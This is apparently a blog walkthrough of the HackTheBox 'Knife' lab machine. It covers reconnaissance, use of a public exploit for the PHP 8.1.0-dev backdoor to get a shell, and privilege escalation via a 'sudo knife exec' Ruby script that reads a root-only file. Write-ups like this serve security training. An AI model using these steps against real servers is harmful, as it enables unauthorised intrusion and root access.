HTB Knife Walkthrough

A technical walk-through of the HackTheBox Knife challenge.

HTB Knife Walkthrough

Welcome to another of my HackTheBox walk-throughs, this time we face a relatively simple BOX, that doesn't require too much commitment and which does not have too many obstacles to overcome.

Lets jump right in with The nmap scan:

Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-01 21:32 CEST
Nmap scan report for 10.10.10.242
Host is up (0.047s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 be:54:9c:a3:67:c3:15:c3:64:71:7f:6a:53:4a:4c:21 (RSA)
|   256 bf:8a:3f:d4:06:e9:2e:87:4e:c9:7e:ab:22:0e:c0:ee (ECDSA)
|_  256 1a:de:a1:cc:37:ce:53:bb:1b:fb:2b:0b:ad:b3:f6:84 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title:  Emergent Medical Idea
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.84 seconds


Nothing new on this front for machines with linux OS. I immediately save the knife.htb domain in my /etc/hosts and go and have a look at the portal right away.

The portal is very simple right from the start, with no particular links to navigate nor an active menu, that shows only the names of the sections. Even the source of the page does not show anything interesting and the wappalyzer shows us the few technologies used with the specific version.

I immediately activate a dirb session, but without results.

┌──(in7rud3r㉿Mykali)-[~/Dropbox/hackthebox/_10.10.10.242 - Knife (lin)]
└─$ dirb http://knife.htb      

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Tue Jun  1 21:43:45 2021
URL_BASE: http://knife.htb/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://knife.htb/ ----
+ http://knife.htb/index.php (CODE:200|SIZE:5815)                                                                 
+ http://knife.htb/server-status (CODE:403|SIZE:274)                                                              
                                                                                                                  
-----------------
END_TIME: Tue Jun  1 21:47:46 2021
DOWNLOADED: 4612 - FOUND: 2


I decide to proceed to search for third-level subdomains, then proceed to reactivate the dnsmasq service on the machine after having reconfigured it and starting a wfuzz session.

I have used the dnsmasq in the past to search for subdomains, and the process is well described in the other articles, which I recommend you go and read. I leave here the links to the BOXes in which I used the dnsmasq service: Doctor, Worker, SneakyMailer, Forwardslash, Laboratory.
┌──(in7rud3r㉿Mykali)-[~/Dropbox/hackthebox/_10.10.10.242 - Knife (lin)]
└─$ sudo vi /etc/dnsmasq.conf
                                                                                                                   
┌──(in7rud3r㉿Mykali)-[~/Dropbox/hackthebox/_10.10.10.242 - Knife (lin)]
└─$ grep -v '#' /etc/dnsmasq.conf | grep .
address=/knife.htb/10.10.10.242
listen-address=::1,127.0.0.1,10.10.15.9

┌──(in7rud3r㉿Mykali)-[~/Dropbox/hackthebox/_10.10.10.242 - Knife (lin)]
└─$ sudo vi /etc/resolv.conf
                                                                                                                   
┌──(in7rud3r㉿Mykali)-[~/Dropbox/hackthebox/_10.10.10.242 - Knife (lin)]
└─$ cat /etc/resolv.conf                
# Generated by NetworkManager
search homenet.telecomitalia.it
# nameserver 192.168.1.1
nameserver 10.10.15.9
┌──(in7rud3r㉿Mykali)-[~/Dropbox/hackthebox/_10.10.10.242 - Knife (lin)]
└─$ service dnsmasq status
● dnsmasq.service - dnsmasq - A lightweight DHCP and caching DNS server
     Loaded: loaded (/lib/systemd/system/dnsmasq.service; disabled; vendor preset: disabled)
     Active: inactive (dead)
                                                                                                                   
┌──(in7rud3r㉿Mykali)-[~/Dropbox/hackthebox/_10.10.10.242 - Knife (lin)]
└─$ sudo service dnsmasq start                                                                                 4 ⨯
                                                                                                                   
┌──(in7rud3r㉿Mykali)-[~/Dropbox/hackthebox/_10.10.10.242 - Knife (lin)]
└─$ service dnsmasq status    
● dnsmasq.service - dnsmasq - A lightweight DHCP and caching DNS server
     Loaded: loaded (/lib/systemd/system/dnsmasq.service; disabled; vendor preset: disabled)
     Active: active (running) since Tue 2021-06-01 22:04:05 CEST; 5s ago
    Process: 2480 ExecStartPre=/etc/init.d/dnsmasq checkconfig (code=exited, status=0/SUCCESS)
    Process: 2488 ExecStart=/etc/init.d/dnsmasq systemd-exec (code=exited, status=0/SUCCESS)
    Process: 2497 ExecStartPost=/etc/init.d/dnsmasq systemd-start-resolvconf (code=exited, status=0/SUCCESS)
   Main PID: 2496 (dnsmasq)
      Tasks: 1 (limit: 4635)
     Memory: 1.4M
        CPU: 76ms
     CGroup: /system.slice/dnsmasq.service
             └─2496 /usr/sbin/dnsmasq -x /run/dnsmasq/dnsmasq.pid -u dnsmasq -7 /etc/dnsmasq.d,.dpkg-dist,.dpkg-ol>
┌──(in7rud3r㉿Mykali)-[~/…/hackthebox/_10.10.10.242 - Knife (lin)/attack/wfuzz]
└─$ wfuzz -c -w subdomains-top1mil-5000.txt -u http://FUZZ.knife.htb --hh 5815
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://FUZZ.knife.htb/
Total requests: 4992

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                           
=====================================================================


Total time: 56.49112
Processed Requests: 4992
Filtered Requests: 4992
Requests/sec.: 88.36785


Unfortunately no subdomains available, there seems to be nothing to attack here. I have a look at the forum, where a couple of posts catch my attention, where they talk about "p*p version" and "enumerate specific version of specific service". Let me take a look at the detailed metadata returned by the portal response.

┌──(in7rud3r㉿Mykali)-[~/…/hackthebox/_10.10.10.242 - Knife (lin)/attack/wfuzz]
└─$ curl http://knife.htb -v                                      
*   Trying 10.10.10.242:80...
* Connected to knife.htb (10.10.10.242) port 80 (#0)
> GET / HTTP/1.1
> Host: knife.htb
> User-Agent: curl/7.74.0
> Accept: */*
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Tue, 01 Jun 2021 20:50:44 GMT
< Server: Apache/2.4.41 (Ubuntu)
< X-Powered-By: PHP/8.1.0-dev
< Vary: Accept-Encoding
< Transfer-Encoding: chunked
< Content-Type: text/html; charset=UTF-8
< 
[...]


Well, there are two interesting things:

< Server: Apache/2.4.41 (Ubuntu)
< X-Powered-By: PHP/8.1.0-dev


But let's focus on the 8.1.0-dev version of php, as suggested in the forum. Searching online for "php 8.1.0-dev exploit" reveals a very interesting thing.

The first four results speak of a backdoor that allows to execute commands remotely (RMC) left open on this version of php.

flast101/php-8.1.0-dev-backdoor-rce
PHP 8.1.0-dev Backdoor System Shell Script. Contribute to flast101/php-8.1.0-dev-backdoor-rce development by creating an account on GitHub.

Here is the github project I used.

┌──(in7rud3r㉿kali-muletto)-[~/…/_10.10.10.242 - Knife (lin)/attack/php/php-8.1.0-dev-backdoor-rce]
└─$ python3 backdoor_php_8.1.0-dev.py 
Enter the host url:
http://knife.htb

Interactive shell is opened on http://knife.htb 
Can't acces tty; job crontol turned off.
$ whoami
james

$ 

It really sounds too simple. However, it is a very basic shell that does not allow many facilities.

$ pwd
/

$ cd home

$ pwd
/

$ 

Anyway, it is enough for the purpose.

$ ls -la /home
total 12
drwxr-xr-x  3 root  root  4096 May  6 14:44 .
drwxr-xr-x 20 root  root  4096 May 18 13:25 ..
drwxr-xr-x  5 james james 4096 May 18 13:20 james

$ ls -la /home/james
total 40
drwxr-xr-x 5 james james 4096 May 18 13:20 .
drwxr-xr-x 3 root  root  4096 May  6 14:44 ..
lrwxrwxrwx 1 james james    9 May 10 16:23 .bash_history -> /dev/null
-rw-r--r-- 1 james james  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 james james 3771 Feb 25  2020 .bashrc
drwx------ 2 james james 4096 May  6 14:45 .cache
drwxrwxr-x 3 james james 4096 May  6 16:32 .local
-rw-r--r-- 1 james james  807 Feb 25  2020 .profile
-rw-rw-r-- 1 james james   66 May  7 14:16 .selected_editor
drwx------ 2 james james 4096 Jun  2 08:47 .ssh
-r-------- 1 james james   33 Jun  2 07:12 user.txt

$ cat /home/james/user.txt
a******************************4

Perfect, let's move on to escalating privileges to the root account. We must not go too far, the sudo command seems to show us immediately something that we have the power to run as administrators and the name of the command does not surprise me at all.

$ sudo -l
Matching Defaults entries for james on knife:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User james may run the following commands on knife:
    (root) NOPASSWD: /usr/bin/knife

I take a look at the contents of the file and find that it is some sort of code in ruby, where many packages are imported.

$ cat /usr/bin/knife
#!/opt/chef-workstation/embedded/bin/ruby --disable-gems
#--APP_BUNDLER_BINSTUB_FORMAT_VERSION=1--
require "rubygems"

begin
  # this works around rubygems/rubygems#2196 and can be removed in rubygems > 2.7.6
  require "rubygems/bundler_version_finder"
rescue LoadError
  # probably means rubygems is too old or too new to have this class, and we don't care
end

# avoid appbundling if we are definitely running within a Bundler bundle.
# most likely the check for defined?(Bundler) is enough since we don't require
# bundler above, but just for paranoia's sake also we test to see if Bundler is
# really doing its thing or not.
unless defined?(Bundler) && Bundler.instance_variable_defined?("@load")
  ENV["GEM_HOME"] = ENV["GEM_PATH"] = nil unless ENV["APPBUNDLER_ALLOW_RVM"] == "true"
  ::Gem.clear_paths

  gem "activesupport", "= 5.2.4.5"
  gem "addressable", "= 2.7.0"
  gem "appbundler", "= 0.13.2"
  gem "artifactory", "= 3.0.15"
  gem "ast", "= 2.4.2"
  gem "aws-eventstream", "= 1.1.0"
  gem "aws-partitions", "= 1.427.0"
[...]
  gem "webrick", "= 1.7.0"
  gem "winrm", "= 2.3.6"
  gem "winrm-elevated", "= 1.2.3"
  gem "winrm-fs", "= 1.3.5"
  gem "wisper", "= 2.0.1"
  gem "wmi-lite", "= 1.0.5"
  gem "yard", "= 0.9.26"
  gem "chef", "= 16.10.8"
  gem "bundler" # force activation of bundler to avoid unresolved specs if there are multiple bundler versions
  spec = Gem::Specification.find_by_name("chef", "= 16.10.8")
else
  spec = Gem::Specification.find_by_name("chef")
end

unless Gem::Specification.unresolved_deps.empty?
  $stderr.puts "APPBUNDLER WARNING: unresolved deps are CRITICAL performance bug, this MUST be fixed"
  Gem::Specification.reset
end

bin_file = spec.bin_file("knife")

Kernel.load(bin_file)

I try to run the command that immediately suggests the correct syntax to start it.

$ sudo /usr/bin/knife
ERROR: You need to pass a sub-command (e.g., knife SUB-COMMAND)

Usage: knife sub-command (options)
    -s, --server-url URL             Chef Infra Server URL.
        --chef-zero-host HOST        Host to start Chef Infra Zero on.
        --chef-zero-port PORT        Port (or port range) to start Chef Infra Zero on. Port ranges like 1000,1010 or 8889-9999 will try all given ports until one works.
    -k, --key KEY                    Chef Infra Server API client key.
        --[no-]color                 Use colored output, defaults to enabled.
    -c, --config CONFIG              The configuration file to use.
        --config-option OPTION=VALUE Override a single configuration option.
        --defaults                   Accept default values for all questions.
    -d, --disable-editing            Do not open EDITOR, just accept the data as is.
    -e, --editor EDITOR              Set the editor to use for interactive commands.
    -E, --environment ENVIRONMENT    Set the Chef Infra Client environment (except for in searches, where this will be flagrantly ignored).
        --[no-]fips                  Enable FIPS mode.
    -F, --format FORMAT              Which format to use for output. (valid options: 'summary', 'text', 'json', 'yaml', or 'pp')
        --[no-]listen                Whether a local mode (-z) server binds to a port.
    -z, --local-mode                 Point knife commands at local repository instead of Chef Infra Server.
    -u, --user USER                  Chef Infra Server API client username.
        --print-after                Show the data after a destructive operation.
        --profile PROFILE            The credentials profile to select.
    -V, --verbose                    More verbose output. Use twice (-VV) for additional verbosity and three times (-VVV) for maximum verbosity.
    -v, --version                    Show Chef Infra Client version.
    -y, --yes                        Say yes to all prompts for confirmation.
    -h, --help                       Show this help message.

Available subcommands: (for details, knife SUB-COMMAND --help)

** CHEF ORGANIZATION MANAGEMENT COMMANDS **
knife opc org create ORG_SHORT_NAME ORG_FULL_NAME (options)
knife opc org delete ORG_NAME
knife opc org edit ORG
knife opc org list
knife opc org show ORGNAME
knife opc org user add ORG_NAME USER_NAME
knife opc org user remove ORG_NAME USER_NAME
knife opc user create USERNAME FIRST_NAME [MIDDLE_NAME] LAST_NAME EMAIL PASSWORD
knife opc user delete USERNAME [-d] [-R]
knife opc user edit USERNAME
knife opc user list
knife opc user password USERNAME [PASSWORD | --enable-external-auth]
knife opc user show USERNAME

** ACL COMMANDS **
knife acl add MEMBER_TYPE MEMBER_NAME OBJECT_TYPE OBJECT_NAME PERMS
knife acl bulk add MEMBER_TYPE MEMBER_NAME OBJECT_TYPE REGEX PERMS
knife acl bulk remove MEMBER_TYPE MEMBER_NAME OBJECT_TYPE REGEX PERMS
knife acl remove MEMBER_TYPE MEMBER_NAME OBJECT_TYPE OBJECT_NAME PERMS
knife acl show OBJECT_TYPE OBJECT_NAME
[...]

There is a really long chance of operations this command can do, let's hope one of them works for us. However, I understand that the knife command is not just any command, there seems to be something bigger behind it, so after a search on the internet I find a couple of interesting links.

About Knife
knife is a command-line tool that provides an interface between a local chef-repo and the Chef Infra Server. knife helps users to manage:

Knife appears to be part of a larger project called chef, in which the parties involved are a client and a server component. It immediately occurs to me that it will probably be necessary to install the server component on my machine to send some information to the knife command that can be useful for our business (luckily I'm wrong and it turns out to be easier than I thought).

Knife Command Line Reference | Online and Classroom Training

After taking a look at the controls I see a very interesting one, which will probably save us the evening.

By running the command again and reading between the lines I find what I was looking for.

[...]
** EXEC COMMANDS **
knife exec [SCRIPT] (options)
[...]

The next step is really quick and easy, a few lines of code written in ruby solves all our problems.

$ echo "data = File.read(\"/root/root.txt\")\r\nputs data" > ~/scrp.rb && cat ~/scrp.rb
data = File.read("/root/root.txt")
puts data

$ sudo knife exec ~/scrp.rb
b******************************9

And once again that's all folks, I hope you enjoyed this simple but interesting BOX. Have fun in your hacking activities and see you on the next BOX.

The awesome image used in this article is called One Point and was created by Omi Kim.